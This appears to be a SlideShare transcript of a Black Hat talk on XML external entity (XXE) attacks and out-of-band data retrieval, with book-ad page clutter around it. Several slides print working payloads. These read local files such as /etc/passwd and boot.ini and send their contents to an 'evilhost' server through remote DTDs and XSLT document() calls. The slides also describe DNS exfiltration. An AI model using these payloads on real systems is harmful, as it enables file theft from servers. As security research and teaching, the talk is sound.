Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov
Who we are • Timur Yunusov: – Web Application Security Researcher – International forum on practical security «Positiv...
Agenda • XML Overview • XML eXternal Entities • Entities in attributes • Out-Of-Band attack – DTD – XSLT •...
XML OVERVIEW
XML overview • Very popular protocol lately – Serialization – SOA-architecture (REST, SOAP, OAuth) – Human-readable ...
XML overview • Many opportunities lead to many vulnerabilities: – Adobe (@agarri_fr, spasibo) – PostgreSQL (@d0znpp)...
XML EXTERNAL ENTITY
XML entities • Entities: – Predefined &amp; &lt; % – General <!ENTITY general “hello”> – Parame...
XXE impact • Local file reading • Intranet access • Host-scan/Port-scan • Remote Code Execution (not so often) • ...
XXE techniques • XML data output (basic) • Error-based XXE – DTD (invalid/values type definition) – Schema validation ...
Error based output • Schema validation In Xerces parser error : Invalid URI: :[file] I/O warning : failed to load external...
XML constraints • XML validity/well-formedness – WFC: No External Entity References … in attributes – WFC: No < in Att...
Parameter entities resolve/validation algorithm <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html [ <!ENTITY % i...
XXE attacks restrictions • XML parser reads only valid xml documents – No binary =( (http://www.w3.org/TR/REC-xml/#Cha...
ENTITIES IN ATTRIBUTES
System entities restrictions bypass within attributes Well-formed constraint: – No External Entity Reference...
System entities restrictions bypass within attributes <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!...
Pattern validation <xs:restriction base="xs:string"> <xs:pattern value="&test;" /> </xs:restriction>
DEMO
OUT-OF-BAND ATTACK
XXE attacks restrictions Server-side in general (except Adobe XXE SOP bypass)
XXE OOB
XXE OOB What other OOB communication techniques are present? DNS exfiltration via SQL Injection (@stamparm) ...
XXE OOB <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM <!DOCTYPE root [ “http://evilhost/xml.xml”> <!ENTIT...
XXE OOB DTD Parsing, SYSTEM reading XML Attacker ...
Parsing restrictions • Beside restrictions of all entities there are also new ones • “PEReferences forbidden in internal...
Parsing restrictions • Quotes are blocking definition of entities – One should try single/double quotes when definin...
Vectors • Depending on parser features – lack of DTD validation in main document doesn’t mean lack of validation every...
Vectors • <!DOCTYPE root SYSTEM “…”> • <!ENTITY external PUBLIC “some_text” “…”> • <tag xsi:schemaLocation=“…”/> • ...
XSLT OOB • Controlling XSLT transformation template we can access some data from sensitive host: <xsl:variable name="pa...
XSLT OOB • Depending on available features we can: – Get non-xml data using “unparsed-text” function – Enumerate servi...
DEMO
Vectors WAT R U XML DOIN? XML STAHP!
SUMMARY
XXE OOB Profit • Server-side – Send file content over DNS/HTTP/HTTPs/Smb? – Without error/data output • Client-side pr...
Parsers diff – MS with System.XML • Pros: – URL-encodes query string for OOB technique – Saves all line feeds in attri...
Parsers diff – Java Xerces • Pros: – Can read directories! – Sends NTLM auth data – Different wrappers • Cons: – C...
Parsers diff – libxml (PHP) • Pros – Wrappers! (expect://, data://) (http://www.slideshare.net/phdays/on-secure- ...
Parsers diff MS System.XML Java Xerces Libxml (PHP) External entity in ...
DEMO
Tools XXE OOB Exploitation Toolset for Automation • DNS knocking • Vectors set • HTTP Server
Tools Metasploit module (special thnx2 @vegoshin) • Vector set and HTTP server provided to you in your MSF ;-)
DEMO
Conclusions • General ruination? ;-) • Toolset • New ideas for new vectors and applications
Special greetz • Arseniy Reutov • Ilya Karpov • Mihail Firstov • Sergey Pavlov • Vyacheslav Egoshin
Questions? www.scadastrangelove.org @GiftsUngiven @a66at
Upcoming SlideShare
Loading in …5
×

of

Black Hat: XML Out-Of-Band Data Retrieval Slide 1 Black Hat: XML Out-Of-Band Data Retrieval Slide 2 Black Hat: XML Out-Of-Band Data Retrieval Slide 3 Black Hat: XML Out-Of-Band Data Retrieval Slide 4 Black Hat: XML Out-Of-Band Data Retrieval Slide 5 Black Hat: XML Out-Of-Band Data Retrieval Slide 6 Black Hat: XML Out-Of-Band Data Retrieval Slide 7 Black Hat: XML Out-Of-Band Data Retrieval Slide 8 Black Hat: XML Out-Of-Band Data Retrieval Slide 9 Black Hat: XML Out-Of-Band Data Retrieval Slide 10 Black Hat: XML Out-Of-Band Data Retrieval Slide 11 Black Hat: XML Out-Of-Band Data Retrieval Slide 12 Black Hat: XML Out-Of-Band Data Retrieval Slide 13 Black Hat: XML Out-Of-Band Data Retrieval Slide 14 Black Hat: XML Out-Of-Band Data Retrieval Slide 15 Black Hat: XML Out-Of-Band Data Retrieval Slide 16 Black Hat: XML Out-Of-Band Data Retrieval Slide 17 Black Hat: XML Out-Of-Band Data Retrieval Slide 18 Black Hat: XML Out-Of-Band Data Retrieval Slide 19 Black Hat: XML Out-Of-Band Data Retrieval Slide 20 Black Hat: XML Out-Of-Band Data Retrieval Slide 21 Black Hat: XML Out-Of-Band Data Retrieval Slide 22 Black Hat: XML Out-Of-Band Data Retrieval Slide 23 Black Hat: XML Out-Of-Band Data Retrieval Slide 24 Black Hat: XML Out-Of-Band Data Retrieval Slide 25 Black Hat: XML Out-Of-Band Data Retrieval Slide 26 Black Hat: XML Out-Of-Band Data Retrieval Slide 27 Black Hat: XML Out-Of-Band Data Retrieval Slide 28 Black Hat: XML Out-Of-Band Data Retrieval Slide 29 Black Hat: XML Out-Of-Band Data Retrieval Slide 30 Black Hat: XML Out-Of-Band Data Retrieval Slide 31 Black Hat: XML Out-Of-Band Data Retrieval Slide 32 Black Hat: XML Out-Of-Band Data Retrieval Slide 33 Black Hat: XML Out-Of-Band Data Retrieval Slide 34 Black Hat: XML Out-Of-Band Data Retrieval Slide 35 Black Hat: XML Out-Of-Band Data Retrieval Slide 36 Black Hat: XML Out-Of-Band Data Retrieval Slide 37 Black Hat: XML Out-Of-Band Data Retrieval Slide 38 Black Hat: XML Out-Of-Band Data Retrieval Slide 39 Black Hat: XML Out-Of-Band Data Retrieval Slide 40 Black Hat: XML Out-Of-Band Data Retrieval Slide 41 Black Hat: XML Out-Of-Band Data Retrieval Slide 42 Black Hat: XML Out-Of-Band Data Retrieval Slide 43 Black Hat: XML Out-Of-Band Data Retrieval Slide 44 Black Hat: XML Out-Of-Band Data Retrieval Slide 45 Black Hat: XML Out-Of-Band Data Retrieval Slide 46
Upcoming SlideShare
SCADA deep inside:protocols and software architecture
Next
Download to read offline and view in fullscreen.
Mar. 14, 2013
21,286 views

6 Likes

Share

Download to read offline

Black Hat: XML Out-Of-Band Data Retrieval

Download to read offline

Mar. 14, 2013
21,286 views

Timur Yunusov
Alexey Osipov

Recommended

Related Books

Free with a 30 day trial from Scribd

See all
How to Lead: Wisdom from the World's Greatest CEOs, Founders, and Game Changers David M. Rubenstein
(4.5/5)
Free
The Ministry of Common Sense: How to Eliminate Bureaucratic Red Tape, Bad Excuses, and Corporate BS Martin Lindstrom
(3.5/5)
Free
Hot Seat: What I Learned Leading a Great American Company Jeff Immelt
(5/5)
Free
Ladies Get Paid: The Ultimate Guide to Breaking Barriers, Owning Your Worth, and Taking Command of Your Career Claire Wasserman
(5/5)
Free
Believe IT: How to Go from Underestimated to Unstoppable Jamie Kern Lima
(4.5/5)
Free
Blue-Collar Cash: Love Your Work, Secure Your Future, and Find Happiness for Life Ken Rusk
(0/5)
Free
How I Built This: The Unexpected Paths to Success from the World's Most Inspiring Entrepreneurs Guy Raz
(4.5/5)
Free
Bezonomics: How Amazon Is Changing Our Lives and What the World's Best Companies Are Learning from It Brian Dumaine
(4.5/5)
Free
Billion Dollar Brand Club: How Dollar Shave Club, Warby Parker, and Other Disruptors Are Remaking What We Buy Lawrence Ingrassia
(0/5)
Free
Ask for More: 10 Questions to Negotiate Anything Alexandra Carter
(4/5)
Free
The Fix: Overcome the Invisible Barriers That Are Holding Women Back at Work Michelle P. King
(5/5)
Free
No Filter: The Inside Story of Instagram Sarah Frier
(4.5/5)
Free
Don't Keep Your Day Job: How to Turn Your Passion into Your Career Cathy Heller
(4/5)
Free
Inclusify: The Power of Uniqueness and Belonging to Build Innovative Teams Stefanie K. Johnson
(0/5)
Free
The Catalyst: How to Change Anyone's Mind Jonah Berger
(4.5/5)
Free

Related Audiobooks

Free with a 30 day trial from Scribd

See all
Just Work: How to Root Out Bias, Prejudice, and Bullying to Build a Kick-Ass Culture of Inclusivity Kimberly Scott
(3.5/5)
Free
The One Week Marketing Plan: The Set It & Forget It Approach for Quickly Growing Your Business Mark Satterfield
(5/5)
Free
Larger Than Yourself: Reimagine Industries, Lead with Purpose & Grow Ideas into Movements Thibault Manekin
(5/5)
Free
Winning: The Unforgiving Race to Greatness Tim S. Grover
(5/5)
Free
Impact Players: How to Take the Lead, Play Bigger, and Multiply Your Impact Liz Wiseman
(5/5)
Free
Nailing the Interview: A Comprehensive Guide to Job Interviewing Imran Afzal
(4.5/5)
Free
We Should All Be Millionaires: Change Your Thinking, Build Bank, and Claim Your Independence Rachel Rodgers
(5/5)
Free
You're Invited: The Art and Science of Cultivating Influence Jon Levy
(4.5/5)
Free
Twelve and a Half: Leveraging the Emotional Ingredients Necessary for Business Success Gary Vaynerchuk
(0/5)
Free
Four Thousand Weeks: Time Management for Mortals Oliver Burkeman
(5/5)
Free
The Three Happy Habits: Techniques Leaders Use to Fight Burnout, Build Resilience and Create Thriving Workplace Cultures Beth Ridley
(4.5/5)
Free
Own the Arena: Getting Ahead, Making a Difference, and Succeeding as the Only One Katrina M. Adams
(5/5)
Free
Finance Secrets of Billion-Dollar Entrepreneurs: Venture Finance Without Venture Capital Dileep Rao
(4/5)
Free
Invent and Wander: The Collected Writings of Jeff Bezos, With an Introduction by Walter Isaacson Walter Isaacson
(4.5/5)
Free
Everybody Has a Podcast (Except You): A How-To Guide from the First Family of Podcasting Justin McElroy
(5/5)
Free
Flex: Reinventing Work for a Smarter, Happier Life Annie Auerbach
(4.5/5)
Free
Show More

Black Hat: XML Out-Of-Band Data Retrieval

  1. 1. XML Out-Of-Band Data Retrieval Timur Yunusov Alexey Osipov
  2. 2. Who we are • Timur Yunusov: – Web Application Security Researcher – International forum on practical security «Positive Hack Days» developer • Alexey Osipov: – Attack prevention mechanisms Researcher – Security tools and Proof of Concepts developer • SCADA StrangeLove team members
  3. 3. Agenda • XML Overview • XML eXternal Entities • Entities in attributes • Out-Of-Band attack – DTD – XSLT • Summary • Demos • Questions
  4. 4. XML OVERVIEW
  5. 5. XML overview • Very popular protocol lately – Serialization – SOA-architecture (REST, SOAP, OAuth) – Human-readable (at least intended to be) • Many parsers/many options controlling behavior (over 9000) • Many xml-extensions like XSLT, SOAP, XML schema
  6. 6. XML overview • Many opportunities lead to many vulnerabilities: – Adobe (@agarri_fr, spasibo) – PostgreSQL (@d0znpp), PHP, Java • Many hackers techniques
  7. 7. XML EXTERNAL ENTITY
  8. 8. XML entities • Entities: – Predefined &amp; &lt; % – General <!ENTITY general “hello”> – Parameter <!ENTITY % param “hello”> • General and parameter entities may be: – Internal (defined in current DTD) – External (defined in external resource)
  9. 9. XXE impact • Local file reading • Intranet access • Host-scan/Port-scan • Remote Code Execution (not so often) • Denial of Service
  10. 10. XXE techniques • XML data output (basic) • Error-based XXE – DTD (invalid/values type definition) – Schema validation • Blind techniques – XSD values bruteforce (@d0znpp)
  11. 11. Error based output • Schema validation In Xerces parser error : Invalid URI: :[file] I/O warning : failed to load external entity"[file]“ parser error : DOCTYPE improperly terminated Warning: *** [file] in *** on line 11 <!DOCTYPE html[ <!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]>
  12. 12. XML constraints • XML validity/well-formedness – WFC: No External Entity References … in attributes – WFC: No < in Attribute Values – WFC: PEs in Internal Subset
  13. 13. Parameter entities resolve/validation algorithm <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html [ <!ENTITY % internal SYSTEM "local_file.xml"> %internal;]> "Hello, World!"> ]> <!ENTITY title <html>&title;</html> local_file.xml: <!ENTITY title "Hello, World!">
  14. 14. XXE attacks restrictions • XML parser reads only valid xml documents – No binary =( (http://www.w3.org/TR/REC-xml/#CharClasses) – Malformed first string (no encoding attribute) (Some parsers) – But we have wrappers! • Resulting document should also be valid – No external entities in attributes
  15. 15. ENTITIES IN ATTRIBUTES
  16. 16. System entities restrictions bypass within attributes Well-formed constraint: – No External Entity References • So, this is not possible, right? <!DOCTYPE root[ <ENTITY internal SYSTEM "file:///etc/passwd"> ]> <root attrib="&internal;“/>
  17. 17. System entities restrictions bypass within attributes <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> %remote; <!ENTITY internal '[boot loader] timeout ***'> %param1; ]> <root attrib="&internal;" /> Evil.xml <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>">
  18. 18. Pattern validation <xs:restriction base="xs:string"> <xs:pattern value="&test;" /> </xs:restriction>
  19. 19. DEMO
  20. 20. OUT-OF-BAND ATTACK
  21. 21. XXE attacks restrictions Server-side in general (except Adobe XXE SOP bypass)
  22. 22. XXE OOB
  23. 23. XXE OOB What other OOB communication techniques are present? DNS exfiltration via SQL Injection (@stamparm) UTL_HTTP.REQUEST xp_fileexist Dblink LOAD_FILE
  24. 24. XXE OOB <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM <!DOCTYPE root [ “http://evilhost/xml.xml”> <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> <root> &trick; %remote; </root> <!ENTITY % trick SYSTEM 'http://evil/?%5Bboot%20'> %int; %trick;]> Evil.xml <!ENTITY % payl SYSTEM "file:///c:/boot.ini"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://evil/?%payl;'>">
  25. 25. XXE OOB DTD Parsing, SYSTEM reading XML Attacker Server PROFIT!
  26. 26. Parsing restrictions • Beside restrictions of all entities there are also new ones • “PEReferences forbidden in internal subset” (c) XML Specification – So we should be able to read some external resource (local or remote) – Wrappers
  27. 27. Parsing restrictions • Quotes are blocking definition of entities – One should try single/double quotes when defining entity <!ENTITY % int "<!ENTITY % trick ‘*file content’+’>" • Space/new line/other whitespace symbols should not appear in URI – Wrappers again =) – Or not even needed
  28. 28. Vectors • Depending on parser features – lack of DTD validation in main document doesn’t mean lack of validation everywhere. Some possible clues: – External DTD or Internal DTD subset from external data – Parameter entities only – XSD Schema – XSLT template
  29. 29. Vectors • <!DOCTYPE root SYSTEM “…”> • <!ENTITY external PUBLIC “some_text” “…”> • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLocation=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?>
  30. 30. XSLT OOB • Controlling XSLT transformation template we can access some data from sensitive host: <xsl:variable name="payload" select="document('http://sensitive_host/',/)"/> <xsl:variable name="combine" select="concat('http://evilhost/', $payload)"/> <xsl:variable name="result" select="document($combine)" />
  31. 31. XSLT OOB • Depending on available features we can: – Get non-xml data using “unparsed-text” function – Enumerate services/hosts with “*-available” functions – With substring() we can craft such DNS hostname, that will let us obtain some sensitive data via malicious DNS request to our server
  32. 32. DEMO
  33. 33. Vectors WAT R U XML DOIN? XML STAHP!
  34. 34. SUMMARY
  35. 35. XXE OOB Profit • Server-side – Send file content over DNS/HTTP/HTTPs/Smb? – Without error/data output • Client-side products – Nobody has ever tried to hack oneself ;) – Lots of products…
  36. 36. Parsers diff – MS with System.XML • Pros: – URL-encodes query string for OOB technique – Saves all line feeds in attributes • Cons: – Can’t read XML files without encoding declaration (we can still read Web.config .NET) – No wrappers (except system-wide)
  37. 37. Parsers diff – Java Xerces • Pros: – Can read directories! – Sends NTLM auth data – Different wrappers • Cons: – Converts line feeds to spaces when inserting in attribute – Can’t read multiline files with OOB technique
  38. 38. Parsers diff – libxml (PHP) • Pros – Wrappers! (expect://, data://) (http://www.slideshare.net/phdays/on-secure- application-of-php-wrappers) – Most liberal parsing ??? • Cons – Can’t read big files by default (>8Kb)
  39. 39. Parsers diff MS System.XML Java Xerces Libxml (PHP) External entity in Line feeds are attribute value + converted to spaces + OOB read multiline + – + OOB Option is often read big files + + enabled Directory listing – + – Validating schema location – + –
  40. 40. DEMO
  41. 41. Tools XXE OOB Exploitation Toolset for Automation • DNS knocking • Vectors set • HTTP Server
  42. 42. Tools Metasploit module (special thnx2 @vegoshin) • Vector set and HTTP server provided to you in your MSF ;-)
  43. 43. DEMO
  44. 44. Conclusions • General ruination? ;-) • Toolset • New ideas for new vectors and applications
  45. 45. Special greetz • Arseniy Reutov • Ilya Karpov • Mihail Firstov • Sergey Pavlov • Vyacheslav Egoshin
  46. 46. Questions? www.scadastrangelove.org @GiftsUngiven @a66at

  • dfindneo

    Aug. 12, 2018

  • testOscar

    Apr. 8, 2015

  • appleangle

    Mar. 13, 2015

  • cwZerro

    Nov. 18, 2014

  • cnkindle

    Sep. 20, 2013

  • p8361

    Mar. 20, 2013

Timur Yunusov Alexey Osipov

Views

Total views

21,286

On Slideshare

0

From embeds

0

Number of embeds

8,965

Actions

Downloads

154

Shares

0

Comments

0

Likes

6

×